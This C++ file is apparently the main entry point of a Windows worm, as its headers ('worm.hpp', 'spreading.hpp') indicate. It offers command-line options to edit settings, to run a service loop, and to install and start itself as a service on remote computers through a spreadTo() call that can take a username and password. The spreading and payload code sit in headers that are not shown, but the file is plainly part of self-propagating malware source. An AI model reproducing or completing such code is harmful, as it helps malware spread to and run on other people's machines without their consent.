#include <windows.h>
#include <iostream>
#include <string>
using namespace std;

#include "net.hpp"
#include "servicecontrol.hpp"
#include "service.hpp"
#include "worm.hpp"
#include "stf.hpp"
#include "multithreading.hpp"
#include "settings.hpp"
#include "exelauncher.hpp"
#include "filesystem.hpp"
#include "spreading.hpp"
using namespace multithreading;

int main(int argc,char *argv[]){

    load_settings();

    // When the exe is launched by SC (ServiceController), it want us to let him know where
    // the entrypoint for the service(s) in this exe are. service(argc,argv) will take care
    // of that.
    // But first we check for parameters to parse, since this 'int main()' is also called
    // when the user launches the exe.
    // To let the user know what to do, show the syntax. When launched by SC, SC will ignore
    // the output.

    if (argc == 1){

        cout << " - Change settings:" << endl;
        cout << '\t' << argv[0] << " -s" << endl << endl;

        cout << " - Install and start on this computer:" << endl;
        cout << '\t' << argv[0] << " -i 127.0.0.1" << endl << endl;

        cout << " - Install and start on a remote computer:" << endl;
        cout << '\t' << argv[0] << " -i computer" << endl << endl;
        cout << '\t' << argv[0] << " -i computer username password" << endl << endl;

        cout << " - Run on this computer without installing:" << endl;
        cout << '\t' << "(not all functions will work properly)" << endl;
        cout << '\t' << argv[0] << " -r" << endl << endl;

    } else if (argc == 2 && strcmp(argv[1],"-s")==0){  // if the exe is launched with -s, run notepad to edit the settings

        save_settings();
        if((int)ShellExecute(NULL,
                       "open",
                       "notepad",
                       getSettingsFileName().c_str(),
                       NULL,
                       SW_MAXIMIZE) < 32){
            cout << "An error occured" << endl;
        }

    } else if (argc == 2 && strcmp(argv[1],"-r")==0){  // if the exe is launched with -r, run the service-code directly from the main()-function

        service_pre();
        while(1){
            service_loop();
        }

    } else if (argc == 5 && strcmp(argv[1],"-i")==0){ // if the exe is launched with -i <computer> <username> <password>, install the service on the specified remote computer.

        if (spreadTo(argv[2],argv[3],argv[4])){
            cout << "Service successfully installed and started." << endl;
        } else {
            cout << "An error occured" << endl;
        }
        return 0;

    } else if (argc == 3 && strcmp(argv[1],"-i")==0){ // if the exe is launched with -i <computer>, install the service on the specified remote computer.

        if (spreadTo(argv[2])){
            cout << "Service successfully installed and started." << endl;
        } else {
            cout << "An error occured" << endl;
        }
        return 0;

    } else {

        cout << "Invalid command, run me without parameters to see the syntax." << endl;

    }

    service(argc,argv);


    return 0;
}
